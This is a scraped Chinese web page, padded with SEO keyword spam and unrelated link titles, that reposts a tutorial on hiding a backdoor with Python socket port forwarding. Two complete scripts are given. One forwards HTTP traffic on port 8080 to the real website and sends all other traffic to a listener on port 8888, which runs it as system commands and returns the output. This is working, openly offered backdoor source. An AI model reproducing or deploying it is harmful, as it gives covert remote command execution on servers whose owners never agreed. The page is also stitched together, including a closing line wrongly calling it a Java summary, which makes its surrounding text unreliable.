当前位置: 首页 > news >正文

滕州网站搜索引擎优化今日国际新闻大事件

滕州网站搜索引擎优化,今日国际新闻大事件,厦门seo网站推广优化,广西壮族自治区卫生健康委员会网站python基于socket进行端口转发实现后门隐藏的示例思想:用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。8888端口监听代码:#!/usr/bin/env pythonfro…

python基于socket进行端口转发实现后门隐藏的示例

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python

from socket import *

import os

HOST='127.0.0.1'

PORT=8888

BUFSIZE=1024

ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)

tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcpSerSock.bind(ADDR)

tcpSerSock.listen(5)

while True:

print("waiting for connection...")

tcpCliSock,addr = tcpSerSock.accept()

print("...connected from:",addr)

while True:

data=tcpCliSock.recv(BUFSIZE)

if not data:

break

info = data.split('\n')

command = info[0]

try:

os.system(command + " > command.txt");

file = open('command.txt')

data =""

for line in file:

data=data+line;

tcpCliSock.send(data)

except Exception:

tcpCliSock.send("Nothing to do")

tcpCliSock.close()

tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python

from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))

tcp1.listen(10)

BUFFER_SIZE=2048

tcpCliSock,addr = tcp1.accept()

while True:

data = tcpCliSock.recv(BUFFER_SIZE)

if 'HTTP' in data:

tcp3 = socket(AF_INET,SOCK_STREAM)

tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp3.connect(('127.0.0.1',80))

tcp3.send(data)

htmlinfo = tcp3.recv(2048)

if not htmlinfo:

tcp3.close()

else:

tcpCliSock.send(htmlinfo)

else:

tcp2 = socket(AF_INET,SOCK_STREAM)

tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp2.connect(('127.0.0.1',8888))

data = data.replace("\n"," ")

print data

tcp2.send(data)

commandinfo = tcp2.recv(1024)

tcpCliSock.send(commandinfo)

tcp2.close()

tcpCliSock.close()

tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持码农之家。

以上就是本次给大家分享的关于java的全部知识点内容总结,大家还可以在下方相关文章里找到相关文章进一步学习,感谢大家的阅读和支持。

http://www.lbrq.cn/news/2629729.html

相关文章:

  • qq网站代码武汉seo管理
  • 志愿北京网站注册成都移动seo
  • 西安市建设监理协会网站百度法务部联系方式
  • 网站排名如何做兰州网站seo服务
  • 网络代理ipseo视频教学网站
  • 网站的评测系统怎么做的源码时代培训机构官网
  • 正规刷手机单做任务网站网络推广怎么推广
  • 外包网站都有哪些品牌宣传推广策划方案
  • 静态网站制作模板宣传推广计划怎么写
  • 简单网站开发实例教程乐清网站建设
  • freedns免费域名申请seo推广seo技术培训
  • 怎么做婚庆网站平台网络优化行业的发展前景
  • 武汉装修网站建设it培训机构哪个好一点
  • app和网站开发电脑学校培训
  • 怎么做整人点不完的网站口碑营销理论
  • python做网站有优势智能建站网站模板
  • 初级网站建设百度置顶广告多少钱
  • 自己搭建云手机服务器杭州seo关键词优化公司
  • 做网站开发要学什么软件无锡做网站的公司
  • 网站设计ps做效果图过程萧山区seo关键词排名
  • bex5可以做网站吗如何做好网络营销工作
  • 中牟网站推广阿里云注册域名
  • 投资网站建设百度在线识图查图片
  • 招聘类网站怎么做人工智能培训机构排名前十
  • 临沂医院网站建设cms网站
  • 上城区网站建设价格黄页
  • pc站和手机网站爱战网关键词查询网站
  • 南山网站设计电话网络营销理论
  • 网站二级目录 修改路径关键词收录查询工具
  • 酒店网站建设 源码产品软文范例1000字
  • Vue框架进阶
  • 脚本统计MongoDB集合结构信息
  • 4G/5G无线电单元系统
  • STM32学习笔记4-OLED外部中断和中断系统
  • 构建一个简洁优雅的 PHP 参数验证器 —— php-schema-validator
  • 生成式AI时代,Data+AI下一代数智平台建设指南